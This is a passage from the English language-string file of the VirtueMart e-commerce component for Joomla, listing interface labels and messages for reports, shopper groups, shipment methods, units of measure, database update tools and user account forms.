used?" COM_VIRTUEMART_REPORT_BASIC_SHOW_SEL_RANGE="Show this selected range" COM_VIRTUEMART_REPORT_BASIC_THISMONTH_BUTTON="This Month" COM_VIRTUEMART_REPORT_BASIC_TOTAL_ITEMS="Total Items sold" COM_VIRTUEMART_REPORT_FROM_PERIOD="From: " COM_VIRTUEMART_REPORT_INTERVAL="Set Interval" COM_VIRTUEMART_REPORT_INTERVAL_END_DATE="End Date" COM_VIRTUEMART_REPORT_INTERVAL_GROUP_DAILY="Daily" COM_VIRTUEMART_REPORT_INTERVAL_GROUP_MONTHLY="Monthly" COM_VIRTUEMART_REPORT_INTERVAL_GROUP_WEEKLY="Weekly" COM_VIRTUEMART_REPORT_INTERVAL_GROUP_YEARLY="Yearly" COM_VIRTUEMART_REPORT_INTERVAL_START_DATE="Start Date" COM_VIRTUEMART_REPORT_PERIOD_LAST30="Last 30 days" COM_VIRTUEMART_REPORT_PERIOD_LAST60="Last 60 days" COM_VIRTUEMART_REPORT_PERIOD_LAST90="Last 90 days" COM_VIRTUEMART_REPORT_PERIOD_THIS_MONTH="This Month" COM_VIRTUEMART_REPORT_PERIOD_THIS_WEEK="This Week" COM_VIRTUEMART_REPORT_PERIOD_THIS_YEAR="This Year" COM_VIRTUEMART_REPORT_PERIOD_TODAY="Today" COM_VIRTUEMART_REPORT_SET_PERIOD="Set Period: " COM_VIRTUEMART_REPORT_TITLE="Report for the period from %s to %s" COM_VIRTUEMART_REPORT_UNTIL_PERIOD="Until: " COM_VIRTUEMART_REPORT_UPDATEORDERITEMS="Update Order Items" COM_VIRTUEMART_REPORT_UPDATEORDERITEMS_WARN="For correct net price calculation you must update order items table. Use the button on top of the site." COM_VIRTUEMART_RESET="Reset" COM_VIRTUEMART_REVIEW="Shopper Review" COM_VIRTUEMART_REVIEW_COUNT="Characters written:" COM_VIRTUEMART_REVIEW_DETAILS="Shopper Review Details" COM_VIRTUEMART_REVIEW_ERR_COMMENT1_JS="Please write down some more words for your review. Minimum characters allowed: %s" COM_VIRTUEMART_REVIEW_ERR_COMMENT2_JS="Please shorten your review. Maximum characters allowed: %s" COM_VIRTUEMART_REVIEW_FORM_LBL="Product Reviews" COM_VIRTUEMART_REVIEW_LOGIN="Please log in to write a review." COM_VIRTUEMART_REVIEW_RATE="Review & Rating" COM_VIRTUEMART_REVIEW_RATE_S="Reviews & Ratings" COM_VIRTUEMART_REVIEW_S="Shopper Reviews" COM_VIRTUEMART_RULES_EFFECTING="Rule(s) Affecting: " COM_VIRTUEMART_RULES_EFFECTING_TIP="Be aware that you see the prices with your conditions, that means always quantity = 1 and YOUR shoppergroup. Dont wonder that you see no taxes, if your are not in the group to be taxed. Dont wonder that you may see a strange discount, which you gave a tester group, which your are in. To see the prices for not logged users and similar, check the frontend, use the link provided at the title of the page" COM_VIRTUEMART_SAFE_PATH_DEFAULT_CREATED="Default safe path created: %1s" COM_VIRTUEMART_SAFE_PATH_INVOICE_CREATED="Path for invoices created" COM_VIRTUEMART_SALES="Best Selling" COM_VIRTUEMART_SAMPLE_DATA="Install
Sample Data" COM_VIRTUEMART_SAMPLE_DATA_INSTALLED="Sample data installed!!" COM_VIRTUEMART_SAVE="Save" COM_VIRTUEMART_SAVED_CART_TITLE="Saved Cart" COM_VIRTUEMART_SAVE_PERMISSIONS="Save Permissions" COM_VIRTUEMART_SEARCH_ALL_CATEGORIES="Search all Categories" COM_VIRTUEMART_SEARCH_ALL_PRODINFO="Search all product info" COM_VIRTUEMART_SEARCH_AND="and" COM_VIRTUEMART_SEARCH_DESCRIPTION="Product description only" COM_VIRTUEMART_SEARCH_LBL="Search" COM_VIRTUEMART_SEARCH_MANU_VENDOR="Manufacturer / Vendor only" COM_VIRTUEMART_SEARCH_NOT="not" COM_VIRTUEMART_SEARCH_PRODNAME="Product name only" COM_VIRTUEMART_SEARCH_SELECT_ALL_MANUFACTURER="Select all manufacturers" COM_VIRTUEMART_SEARCH_SELECT_MANUFACTURER="Select manufacturers" COM_VIRTUEMART_SEARCH_TITLE="Search" COM_VIRTUEMART_SELECT="Select %s" COM_VIRTUEMART_SELECT_CATEGORY="Select a category..." COM_VIRTUEMART_SELECT_CUSTOM_PLUGIN="Select a plug-in " COM_VIRTUEMART_SELECT_FILE="Select a file" COM_VIRTUEMART_SELECT_ITEM_TO_DELETE="Select an item to delete" COM_VIRTUEMART_SELECT_ITEM_TO_TOGGLE="Select an item to toggle" COM_VIRTUEMART_SELECT_MANUFACTURER="Select manufacturer" COM_VIRTUEMART_SELECT_MANUFACTURER_CATEGORY="Select manufacturer category" COM_VIRTUEMART_SELECT_PAYMENT_METHOD="Please select a Payment Method in the tab Payment Method Information and click »Apply« button in Joomla 1.5.x or »Save« button in Joomla 2.5.x to display the appropriate parameters here." COM_VIRTUEMART_SELECT_PERIOD="Select period" COM_VIRTUEMART_SELECT_PRODUCT="Select a product" COM_VIRTUEMART_SELECT_SHIPPING_METHOD="Please select a Shipment Method in the tab Shipment Method Information and click »Apply« button in Joomla 1.5.x or »Save« button in Joomla 2.5.x to display the appropriate parameters here." COM_VIRTUEMART_SELECT_USER_TO_MODIFY="Select a user to modify" COM_VIRTUEMART_SEND_BUTTON="Send" COM_VIRTUEMART_SEND_SUB="Account details for %s at %s" COM_VIRTUEMART_SETSTOREOWNER="Set store owner" COM_VIRTUEMART_SET_TO_DEFAULT_SUCCESSFULLY="Default Shopper group changed" COM_VIRTUEMART_SHARED="Shared" COM_VIRTUEMART_SHARED_TOGGLE_OFF="Set unshared" COM_VIRTUEMART_SHARED_TOGGLE_ON="Set shared" COM_VIRTUEMART_SHIPMENTMETHOD="Shipment Method" COM_VIRTUEMART_SHIPMENTMETHOD_S="Shipment Methods" COM_VIRTUEMART_SHIPMENT_CLONE="Clone shipment" COM_VIRTUEMART_SHIPMENT_CLONED_SUCCESSFULLY="Shipment successfully cloned" COM_VIRTUEMART_SHIPMENT_LIST_DESCRIPTION_LBL="Shipment Description" COM_VIRTUEMART_SHIPMENT_NAME="Shipment Name" COM_VIRTUEMART_SHIPMENT_NAME_LBL="Shipment Name" COM_VIRTUEMART_SHIPMENT_NOT_CLONED_SUCCESSFULLY="Shipment cloning failed" COM_VIRTUEMART_SHIPPINGRATE="Shipment Rate" COM_VIRTUEMART_SHIPPINGRATE_DETAILS="Shipment Rate Details" COM_VIRTUEMART_SHIPPINGRATE_S="Shipment Rates" COM_VIRTUEMART_SHIPPING_CLASS_NAME="Shipment Method" COM_VIRTUEMART_SHIPPING_CLASS_NAME_TIP="Select the Shipment Method to use for this method, and click Apply button for Joomla 1.5.x, or Save button for Joomla 2.5.x to display the appropriate parameters in the configuration tab" COM_VIRTUEMART_SHIPPING_FORM_DESCRIPTION="Shipment Description" COM_VIRTUEMART_SHIPPING_FORM_NAME="Shipment Name" COM_VIRTUEMART_SHIPPING_FORM_SHOPPER_GROUP="Shopper Group" COM_VIRTUEMART_SHIPPING_FORM_VAT="VAT" COM_VIRTUEMART_SHIPPING_NAME="Shipment name" COM_VIRTUEMART_SHIPPING_SHOPPERGROUPS="Shopper Group" COM_VIRTUEMART_SHIPTO_TEXT="You can add shipment locations to your account. Please think of a suitable nickname or code for the shipment location you select below." COM_VIRTUEMART_SHOPPERGROUP="Shopper Group" COM_VIRTUEMART_SHOPPERGROUP_ADDED="The Shopper Group has been added." COM_VIRTUEMART_SHOPPERGROUP_ALREADY_EXISTS="Shopper group already exists for this vendor." COM_VIRTUEMART_SHOPPERGROUP_CANT_MAKE_DEFAULT="You can't set this shopper group %1$s with id %2$s as default" COM_VIRTUEMART_SHOPPERGROUP_DEFAULT="Default Shopper Group" COM_VIRTUEMART_SHOPPERGROUP_DEFAULT_TIP="New shoppers will be assigned to this group" COM_VIRTUEMART_SHOPPERGROUP_DELETE_CANT_DEFAULT="You can't delete the default shopper group %1$s with id %2$s" COM_VIRTUEMART_SHOPPERGROUP_DELETE_CANT_WITH_MEMBERS="There are still users assigned to this shopper group %1$s with id %2$s" COM_VIRTUEMART_SHOPPERGROUP_DELETE_DEFAULT="Cannot delete the default Shopper Group." COM_VIRTUEMART_SHOPPERGROUP_DELETE_PAYMENT_METHODS_ASS="This Shopper Group Id" COM_VIRTUEMART_SHOPPERGROUP_DELETE_SELECT="Please select a Shopper Group to delete." COM_VIRTUEMART_SHOPPERGROUP_DELETE_USERS_ASS="There are still Users assigned to this Shopper Group ID" COM_VIRTUEMART_SHOPPERGROUP_DESCRIPTION="Shopper Group Description" COM_VIRTUEMART_SHOPPERGROUP_DETAILS="Shopper Group Details" COM_VIRTUEMART_SHOPPERGROUP_ENABLE_PRICE_DISPLAY="Enable shoppergroup specific price display" COM_VIRTUEMART_SHOPPERGROUP_FORM_DISCOUNT="Price Discount on default Shopper Group (in %)" COM_VIRTUEMART_SHOPPERGROUP_FORM_DISCOUNT_TIP="A positive amount X means" COM_VIRTUEMART_SHOPPERGROUP_GUEST="Guest Shopper Group" COM_VIRTUEMART_SHOPPERGROUP_GUEST_DESCR="People who are not logged get automatically assigned to the group guest" COM_VIRTUEMART_SHOPPERGROUP_IDS="Shopper Groups" COM_VIRTUEMART_SHOPPERGROUP_LIST_DISCOUNT="Shopper Group Discount" COM_VIRTUEMART_SHOPPERGROUP_LIST_INCLUDE_TAX="Shopper Group incl. Tax" COM_VIRTUEMART_SHOPPERGROUP_MISSING_NAME="You must enter a Shopper Group name." COM_VIRTUEMART_SHOPPERGROUP_NAME="Shopper Group Name" COM_VIRTUEMART_SHOPPERGROUP_NAME_ALREADY_EXISTS_FOR_GIVEN_VENDOR="The given shopper group name already exists for the given vendor." COM_VIRTUEMART_SHOPPERGROUP_NAME_LESS_THAN_32_CHARACTERS="Shopper group names should not have more than 32 characters" COM_VIRTUEMART_SHOPPERGROUP_RECORDS_MUST_HAVE_NAME="shopper groups must have a name" COM_VIRTUEMART_SHOPPERGROUP_S="Shopper Groups" COM_VIRTUEMART_SHOPPERGROUP_UPDATED="The Shopper Group has been updated." COM_VIRTUEMART_SHOPPERGROUP_UPDATE_FAILED="Failed to update the Shopper Group" COM_VIRTUEMART_SHOPPER_GROUP_NAME="Shopper group name" COM_VIRTUEMART_SHOPPER_STATE_NAME="state name" COM_VIRTUEMART_SHOW="Show" COM_VIRTUEMART_SHOW_DISCOUNTED="Discounted Products" COM_VIRTUEMART_SHOW_FEATURED="Featured Products" COM_VIRTUEMART_SHOW_REMEMBER_ME_BOX="Show the Remember me checkbox on login?" COM_VIRTUEMART_SHOW_REMEMBER_ME_BOX_TIP="When checked, the remember me box is shown on checkout. Not recommended when using shared ssl, because the shopper could choose not to get a user cookie - but that user cookie is required to keep the user logged in on both domains." COM_VIRTUEMART_SHOW_TITLE="Show Title" COM_VIRTUEMART_SKU="Sku" COM_VIRTUEMART_SLUG="Sef Alias" COM_VIRTUEMART_SORT_ERR_NUMBERS_ONLY="Error" COM_VIRTUEMART_SQL_ERROR="SQL Error" COM_VIRTUEMART_STANDARD_VIRTUEMART_CATEGORIES_LAYOUT="Standard VirtueMart Categories Layout" COM_VIRTUEMART_START_DATE="Start Date" COM_VIRTUEMART_START_SYNCRONIZING="Start Synchronizing!" COM_VIRTUEMART_STATE="State" COM_VIRTUEMART_STATES_COUNTRY="States of country %1$s" COM_VIRTUEMART_STATES_VIEW_LINK="View states list of
 %1$s" COM_VIRTUEMART_STATE_2_CODE="State (2) Code" COM_VIRTUEMART_STATE_3_CODE="State (3) Code" COM_VIRTUEMART_STATE_COUNTRY="State for country %1$s" COM_VIRTUEMART_STATE_DETAILS="State details" COM_VIRTUEMART_STATE_IDS="States" COM_VIRTUEMART_STATE_LIST_LBL="State List for" COM_VIRTUEMART_STATE_NAME="State Name" COM_VIRTUEMART_STATE_S="States" COM_VIRTUEMART_STATISTIC_ACTIVE_PRODUCTS="active Products" COM_VIRTUEMART_STATISTIC_CUSTOMERS="Shoppers" COM_VIRTUEMART_STATISTIC_INACTIVE_PRODUCTS="inactive Products" COM_VIRTUEMART_STATISTIC_NEW_CUSTOMERS="New Shoppers" COM_VIRTUEMART_STATISTIC_NEW_ORDERS="New Orders" COM_VIRTUEMART_STATISTIC_STATISTICS="Statistics" COM_VIRTUEMART_STATISTIC_SUM="Sum" COM_VIRTUEMART_STATISTIC_SUMMARY="Control Panel" COM_VIRTUEMART_STATUS="Status" COM_VIRTUEMART_STOCK_LEVEL_DISPLAY_LOW_TIP="We are getting low on stock for this item" COM_VIRTUEMART_STOCK_LEVEL_DISPLAY_NORMAL_TIP="We have plenty of Stock for this product" COM_VIRTUEMART_STOCK_LEVEL_DISPLAY_OUT_TIP="Sorry, we currently have no stock for this item" COM_VIRTUEMART_STOCK_LEVEL_LOW="Product stock low" COM_VIRTUEMART_STOCK_LEVEL_NORMAL="Product stock sufficient" COM_VIRTUEMART_STOCK_LEVEL_OUT="Product not in stock!" COM_VIRTUEMART_STORE="Shop" COM_VIRTUEMART_STORE_CURRENCY_DISPLAY="Currency" COM_VIRTUEMART_STORE_FORM_ACCEPTED_CURRENCIES="List of accepted currencies" COM_VIRTUEMART_STORE_FORM_COMPANY_NAME="Shop Company Name" COM_VIRTUEMART_STORE_FORM_DESCRIPTION="Description" COM_VIRTUEMART_STORE_FORM_LBL="Shop Information" COM_VIRTUEMART_STORE_FORM_LEGAL="Legal Information" COM_VIRTUEMART_STORE_FORM_MPOV="Minimum purchase order value for your shop" COM_VIRTUEMART_STORE_FORM_STORE_NAME="Shop Name" COM_VIRTUEMART_STORE_FORM_TOS="Terms of Service" COM_VIRTUEMART_STORE_INFORMATION="Shop Information" COM_VIRTUEMART_STORE_MOD="Shop" COM_VIRTUEMART_STRING1_STRING2="%1$s %2$s" COM_VIRTUEMART_STRING_CANCELLED="%s record cancelled." COM_VIRTUEMART_STRING_COULD_NOT_BE_DELETED="%s could not be deleted." COM_VIRTUEMART_STRING_DELETED="%s successfully deleted." COM_VIRTUEMART_STRING_DELETED_ERROR="Error: The %s could not be deleted." COM_VIRTUEMART_STRING_ERROR_MUST_HAVE_NAME="Error: %s must have a name." COM_VIRTUEMART_STRING_ERROR_NOT_UNIQUE_NAME="The given %s is empty. This field is obligatory, please enter your data and store again." COM_VIRTUEMART_STRING_ERROR_OBLIGATORY_KEY="%1$s in record is missing! Can't save the record with no %1$s." COM_VIRTUEMART_STRING_ERROR_PRIMARY_KEY="%1$s primary key is missing! Can't save the record with no %1$s." COM_VIRTUEMART_STRING_FORBIDDEN_FOR_NON_VENDORS="%s function Forbidden for non vendors" COM_VIRTUEMART_STRING_ONLY_ALLOWED_FOR_ADMIN="%s function reserved for administrator Only" COM_VIRTUEMART_STRING_ORDER_DOWN_SUCCESS="%s successfully moved down" COM_VIRTUEMART_STRING_ORDER_UP_SUCCESS="%s successfully moved up" COM_VIRTUEMART_STRING_PUBLISHED_ERROR="Error: The %s could not be published." COM_VIRTUEMART_STRING_PUBLISHED_SUCCESS="%s successfully published." COM_VIRTUEMART_STRING_SAVED="%s successfully saved" COM_VIRTUEMART_STRING_SAVED_ERROR="Error: %s could not be saved" COM_VIRTUEMART_STRING_SAVED_SUCCESS="%s successfully saved" COM_VIRTUEMART_STRING_TOGGLE_ERROR="Error: The %s state could not be updated." COM_VIRTUEMART_STRING_TOGGLE_SUCCESS="%s state successfully updated." COM_VIRTUEMART_STRING_UNPUBLISHED_ERROR="Error: The %s could not be unpublished." COM_VIRTUEMART_STRING_UNPUBLISHED_SUCCESS="%s successfully unpublished." COM_VIRTUEMART_SYNC_MEDIA_FILES="Synchronize media to VirtueMart" COM_VIRTUEMART_SYSTEM_DANGEROUS_TOOL_DISABLED="Action not performed. Please check %1$s first and come back here." COM_VIRTUEMART_SYSTEM_DANGEROUS_TOOL_ENABLED_JS="To use these tools fully, you must check '%1$s' in the Configuration panel." COM_VIRTUEMART_SYSTEM_DANGEROUS_TOOL_STILL_ENABLED="The configuration setting '%1$s' is enabled. Please disable this for security measures here in the Configuration panel." COM_VIRTUEMART_SYSTEM_DEFAULTS_RESTORED="System defaults restored!" COM_VIRTUEMART_SYSTEM_VMDATA_DELETED="VirtueMart data removed" COM_VIRTUEMART_SYSTEM_VMTABLES_DELETED="VirtueMart tables removed" COM_VIRTUEMART_TAX_EFFECTING="Tax Affecting: " COM_VIRTUEMART_TEMPLATE_DEFAULT="Default template" COM_VIRTUEMART_TEXTAREA_ATTRIBUTES="Textarea attributes" COM_VIRTUEMART_TEXTFIELD_ATTRIBUTES="Textfield attributes" COM_VIRTUEMART_THANK_MESSAGE="Thank you for your Enquiry. We will contact you as soon as possible." COM_VIRTUEMART_THRD_PARTY_CONTACT="contact the developer %1$s" COM_VIRTUEMART_THRD_PARTY_MANUAL="manual for %1$s" COM_VIRTUEMART_THUMB_NOT_FOUND="Thumbnail not found" COM_VIRTUEMART_TIME="Time" COM_VIRTUEMART_TITLE="Title" COM_VIRTUEMART_TITLE_IN_FIELDVALUES_CONTAINS_INVALID_CHARACTERS="Title in fieldvalues contains invalid characters" COM_VIRTUEMART_TOGGLE_ADMIN="Toggle Admin" COM_VIRTUEMART_TOGGLE_HIDDEN="Toggle Hidden" COM_VIRTUEMART_TOOLS_MOD="Tools" COM_VIRTUEMART_TOOLS_RENEW_CONFIG="Renew VirtueMart configuration by file" COM_VIRTUEMART_TOOLS_RENEW_CONFIG_CONFIRM="Delete config stored in database, load defaults from file and set in session?" COM_VIRTUEMART_TOOLS_RENEW_CONFIG_EXPLAIN="

The configuration settings are reset with the values from the file /administrator/components/com_virtuemart/virtuemart.cfg

" COM_VIRTUEMART_TOOLS_RESTHUMB="Reset Thumbs" COM_VIRTUEMART_TOOLS_RESTHUMB_CONF="Reset Thumbs" COM_VIRTUEMART_TOOLS_RESTHUMB_TIP="Usually you need this only when you changed the automatically resized thumbnail size, or for shops installed originally with a version lower than 2.0.22. This command deletes all resized folders and create them new. During the process the automatically thumbnail creation is deactivated. Also all entries of the thumbnail urls are deleted. The reason is that we do not store anylonger the default." COM_VIRTUEMART_TOOLS_SYNC_JOOMLA_USERS="Sync Joomla
Users" COM_VIRTUEMART_TOOLS_SYNC_MEDIAS_EXPLAIN="Uploads your media to the paths:
Media product url: %s
Media category url: %s
Media manufacturer url: %s

You can change these urls in the config settings.

" COM_VIRTUEMART_TOOLS_SYNC_MEDIA_FILES="Synchronize media to VirtueMart" COM_VIRTUEMART_TOTAL="Total" COM_VIRTUEMART_TO_SET_PARENT_CATEGORY="To set the parent category" COM_VIRTUEMART_TO_SET_PARENT_CATEGORY_VIEW="To set the parent category view" COM_VIRTUEMART_TO_SET_PRODUCT="To set the product" COM_VIRTUEMART_TO_SET_PRODUCT_VIEW="To set the product view" COM_VIRTUEMART_TRANSLATIONS="Translations" COM_VIRTUEMART_TYPE="Type" COM_VIRTUEMART_TYPES="Types" COM_VIRTUEMART_UNCATEGORIZED="--Uncategorised--" COM_VIRTUEMART_UNINSTALL_NOTE="Uninstall Note:" COM_VIRTUEMART_UNINSTALL_NOTE_DESC="Uninstalling VirtueMart does not remove the VirtueMart tables from your database. This is done intentionally to allow for upgrading your current data to new versions of VirtueMart.
To remove the VirtueMart tables, remove all tables with the _virtuemart_ prefix." COM_VIRTUEMART_UNINSTALL_THANKYOU="Thank you for using VirtueMart!" COM_VIRTUEMART_UNIT_NAME_100MG="100 milligrams" COM_VIRTUEMART_UNIT_NAME_100ML="100 milliliters" COM_VIRTUEMART_UNIT_NAME_CM="Centimetres" COM_VIRTUEMART_UNIT_NAME_CUBM="Cubic meters" COM_VIRTUEMART_UNIT_NAME_FOOT="Foot" COM_VIRTUEMART_UNIT_NAME_G="Gramme" COM_VIRTUEMART_UNIT_NAME_INCH="Inches" COM_VIRTUEMART_UNIT_NAME_KG="Kilogramme" COM_VIRTUEMART_UNIT_NAME_L="Liter" COM_VIRTUEMART_UNIT_NAME_LB="Pounds" COM_VIRTUEMART_UNIT_NAME_M="Metres" COM_VIRTUEMART_UNIT_NAME_MG="Milligramme" COM_VIRTUEMART_UNIT_NAME_MM="Millimetres" COM_VIRTUEMART_UNIT_NAME_ONCE="Ounce" COM_VIRTUEMART_UNIT_NAME_SM="Square meters" COM_VIRTUEMART_UNIT_NAME_YARD="Yards" COM_VIRTUEMART_UNIT_SYMBOL_100G="100 g" COM_VIRTUEMART_UNIT_SYMBOL_100ML="100 ml" COM_VIRTUEMART_UNIT_SYMBOL_CM="cm" COM_VIRTUEMART_UNIT_SYMBOL_CUBM="m³" COM_VIRTUEMART_UNIT_SYMBOL_FOOT="ft" COM_VIRTUEMART_UNIT_SYMBOL_G="g" COM_VIRTUEMART_UNIT_SYMBOL_INCH="in" COM_VIRTUEMART_UNIT_SYMBOL_KG="kg" COM_VIRTUEMART_UNIT_SYMBOL_L="l" COM_VIRTUEMART_UNIT_SYMBOL_LB="lb" COM_VIRTUEMART_UNIT_SYMBOL_M="m" COM_VIRTUEMART_UNIT_SYMBOL_MG="mg" COM_VIRTUEMART_UNIT_SYMBOL_MM="mm" COM_VIRTUEMART_UNIT_SYMBOL_OUNCE="oz" COM_VIRTUEMART_UNIT_SYMBOL_SM="m²" COM_VIRTUEMART_UNIT_SYMBOL_YARD="yd" COM_VIRTUEMART_UNPUBLISH="Unpublish" COM_VIRTUEMART_UNPUBLISHED="Unpublished" COM_VIRTUEMART_UNPUBLISH_ITEM="Unpublish Item" COM_VIRTUEMART_UNWRITABLE="Unwriteable" COM_VIRTUEMART_UPDATE="Update" COM_VIRTUEMART_UPDATEDATABASE="Install or if necessary update tables" COM_VIRTUEMART_UPDATEDATABASE_CONFIRM_JS="Install/update tables?" COM_VIRTUEMART_UPDATE_ALL="everything" COM_VIRTUEMART_UPDATE_ATTR="Product Attributes (use after you migrated the products)" COM_VIRTUEMART_UPDATE_ATTR_2="The product attributes are the ones from the field Attribute list in the Product Status tab.
Note:
When the price are with a + or - sign, they are migrated.
When the price starts with =, it is set to 0 in the product custom field. A message will be displayed indicating which attribute price was set to 0." COM_VIRTUEMART_UPDATE_CHECK_CHECKNOW="Check now!" COM_VIRTUEMART_UPDATE_CHECK_DLUPDATE="Download Update" COM_VIRTUEMART_UPDATE_CHECK_LATEST_VERSION="Latest VirtueMart Version" COM_VIRTUEMART_UPDATE_CHECK_VERSION_INSTALLED="VirtueMart Version installed here" COM_VIRTUEMART_UPDATE_GENERAL="general (media, categories, manufacturers, etc, ...)" COM_VIRTUEMART_UPDATE_INSTALLSAMPLE_CONFIRM="This will install the sample VirtueMart data. Are you sure?" COM_VIRTUEMART_UPDATE_MIGRATION="Updating & Data migration" COM_VIRTUEMART_UPDATE_MIGRATION_CHANGE_MAX_EXECUTION_TIME="Server settings of max execution time" COM_VIRTUEMART_UPDATE_MIGRATION_CHANGE_MEMORY_LIMIT="Memory limit of the server" COM_VIRTUEMART_UPDATE_MIGRATION_STRING="Choose a task for migration" COM_VIRTUEMART_UPDATE_MIGRATION_STRING_CONFIRM="Start to migrate %s?" COM_VIRTUEMART_UPDATE_MIGRATION_TITLE="Data migration from VirtueMart 1.1.x to VirtueMart 2.y.z" COM_VIRTUEMART_UPDATE_MIGRATION_TOOLS_WARNING="

Warning

Please use those tools only if you understand what you are doing. The tool install or if necessary updat tables is usually safe to use. It does the same as the update procedure. The other commands can break your shop or remove all user data completly. This tools are done for developers.
Except the delete all data is also meant for people who want completly uninstall the shop and delete all database data. Please use with caution. When using in a broken live shop make an export of your database first. Disable your joomla debug, it can create trouble for nothing, use the vmdebug option instead." COM_VIRTUEMART_UPDATE_NONEWVERSION="You are running the latest VirtueMart version" COM_VIRTUEMART_UPDATE_ORDERS="orders only" COM_VIRTUEMART_UPDATE_PATCH_APPLY="Apply Patch now" COM_VIRTUEMART_UPDATE_PATCH_CONFIRM_TEXT="I have read the Warning and I'm sure to apply the Patch Package to my VirtueMart Installation now." COM_VIRTUEMART_UPDATE_PATCH_DATE="Release Date" COM_VIRTUEMART_UPDATE_PATCH_DESCRIPTION="Description" COM_VIRTUEMART_UPDATE_PATCH_DETAILS="Patch Details" COM_VIRTUEMART_UPDATE_PATCH_ERR_UNWRITABLE="Not all files/directories which need to be updated are writable. Please correct the permissions first." COM_VIRTUEMART_UPDATE_PATCH_FILESTOUPDATE="Files to be updated" COM_VIRTUEMART_UPDATE_PATCH_PLEASEMARK_JS="Please mark the checkbox before you apply the Patch." COM_VIRTUEMART_UPDATE_PATCH_QUERYTOEXEC="Queries to be executed on the Database" COM_VIRTUEMART_UPDATE_PATCH_STATUS="Status" COM_VIRTUEMART_UPDATE_PATCH_UNWRITABLE="File/Directory not writable" COM_VIRTUEMART_UPDATE_PATCH_WRITABLE="Writable" COM_VIRTUEMART_UPDATE_PORT_MEDIA_RESULT="Synchronized %1$s media for %2$s in directory %3$s " COM_VIRTUEMART_UPDATE_PORT_MEDIA_RESULT_FINISH="Synchronized alltogether %1$s files" COM_VIRTUEMART_UPDATE_PORT_MEDIA_RESULT_NOT_FINISH="The synchronisation is not finished, please execute again" COM_VIRTUEMART_UPDATE_PRODUCTS="products only" COM_VIRTUEMART_UPDATE_REL="Migrate related products into vm2 (beta, try after you migrated the products)" COM_VIRTUEMART_UPDATE_REMOVEDATA="Remove
VirtueMart Data" COM_VIRTUEMART_UPDATE_REMOVEDATA_CONFIRM_JS="This will remove all VirtueMart data. Are you sure?" COM_VIRTUEMART_UPDATE_REMOVETABLES="Remove
VirtueMart Tables" COM_VIRTUEMART_UPDATE_REMOVETABLES_CONFIRM_JS="This will remove all VirtueMart tables leaving VirtueMart unusable. Are you sure?" COM_VIRTUEMART_UPDATE_RESTOREDEFAULTS=" Restore
System Defaults" COM_VIRTUEMART_UPDATE_RESTOREDEFAULTS_CONFIRM_JS="This will restore your settings to the defaults. Are you sure?" COM_VIRTUEMART_UPDATE_STATUS="Update Order Status" COM_VIRTUEMART_UPDATE_TOOLS_TAB="DB Tools" COM_VIRTUEMART_UPDATE_USERS="users only" COM_VIRTUEMART_UPDATE_VMPLUGINTABLES="Update VM plugin tables" COM_VIRTUEMART_UPDATE_WARNING_TEXT="Installing an Update for VirtueMart using a Patch Package can cause damage on your site if you have already modified some files of the VirtueMart component. The Patching Process will overwrite all the files listed below - it won't just apply smaller changes (diff), but replace the existing file with the new one. If you have modified VirtueMart files on your own, this can lead to inconsistent files and missing class/function dependencies." COM_VIRTUEMART_UPDATE_WARNING_TITLE="General Warning" COM_VIRTUEMART_UPGRADE_SUCCESSFUL="The Update was SUCCESSFUL" COM_VIRTUEMART_UPLOADED_FILE_NAME_EXISTS="File with same name already exist" COM_VIRTUEMART_URL="URL" COM_VIRTUEMART_USEND_MSG="Hello %s, Thank you for registering at %s. You may now login to %s using the username and password you registered with." COM_VIRTUEMART_USEND_MSG_ACTIVATE="Hello %s, Thank you for registering at %s. Your account is created and must be activated before you can use it. To activate the account click on the following link or copy-paste it in your browser" COM_VIRTUEMART_USER="Shopper " COM_VIRTUEMART_USERFIELD="Shopper Field" COM_VIRTUEMART_USERFIELDS="Userfield" COM_VIRTUEMART_USERFIELDS_ADDVALUE="Add a Value" COM_VIRTUEMART_USERFIELDS_ADDVALUES_TIP="Use the table below to add new values." COM_VIRTUEMART_USERFIELDS_COLUMNS="Columns" COM_VIRTUEMART_USERFIELDS_DESCRIPTION="Description, field-tip" COM_VIRTUEMART_USERFIELDS_HYPERTEXT_URL="Hypertext and URL" COM_VIRTUEMART_USERFIELDS_MAXLENGTH="Max Length" COM_VIRTUEMART_USERFIELDS_PLUGIN_TIP="Extra plugin parameters" COM_VIRTUEMART_USERFIELDS_READONLY="Read-Only" COM_VIRTUEMART_USERFIELDS_ROWS="Rows" COM_VIRTUEMART_USERFIELDS_SIZE="Field Size" COM_VIRTUEMART_USERFIELDS_URL_ONLY="URL only" COM_VIRTUEMART_USERFIELD_DETAILS="Shopper Field Details" COM_VIRTUEMART_USERFIELD_S="Shopper Fields" COM_VIRTUEMART_USERGROUPS_ADD="Add / Edit a User Group" COM_VIRTUEMART_USERGROUPS_LEVEL="User Group Level" COM_VIRTUEMART_USERGROUPS_LIST=" User Group List" COM_VIRTUEMART_USERGROUPS_LIST_NAME="User Group Name" COM_VIRTUEMART_USERGROUP_DETAILS="Usergroup Details" COM_VIRTUEMART_USERINFO_ID="User information id" COM_VIRTUEMART_USERNAME="Username" COM_VIRTUEMART_USERS="Users" COM_VIRTUEMART_USERS_SYNCRONIZED="Users Synchronized!" COM_VIRTUEMART_USER_DATA_STORED="User data stored" COM_VIRTUEMART_USER_DELETE_ST="Delete address" COM_VIRTUEMART_USER_DISPLAYED_NAME="Displayed Name" COM_VIRTUEMART_USER_EDITADDRESS_VIEW_DEFAULT_DESC="Displays the User Edit Address" COM_VIRTUEMART_USER_EDITADDRESS_VIEW_DEFAULT_TITLE="User Edit Address" COM_VIRTUEMART_USER_ERR_LASTSUPERADMIN="You cannot delete this user as it is the only active Super Administrator for your site." COM_VIRTUEMART_USER_ERR_ONLYSUPERADMIN="You cannot change this users group as the user is the only active Super Administrator for your site." COM_VIRTUEMART_USER_FORM_ADD_SHIPTO_LBL="Add Address" COM_VIRTUEMART_USER_FORM_BILLTO_LBL="Bill To Information" COM_VIRTUEMART_USER_FORM_CONTACTDETAILS_CHANGEBUTTON="Change Contact Details" COM_VIRTUEMART_USER_FORM_MISSING_REQUIRED="Please fill out the required fields!" COM_VIRTUEMART_USER_FORM_MISSING_REQUIRED_OTHER_TAB="Please fill out the required fields, you may take a look on the tab %s" COM_VIRTUEMART_USER_FORM_NEWPASSWORD="New Password" COM_VIRTUEMART_USER_FORM_RECEIVESYSTEMEMAILS="Receive System Emails" COM_VIRTUEMART_USER_FORM_REGISTERDATE="Register Date" COM_VIRTUEMART_USER_FORM_SHIPTO_LBL="Shipment Addresses" COM_VIRTUEMART_USER_FORM_VERIFYPASSWORD="Verify Password" 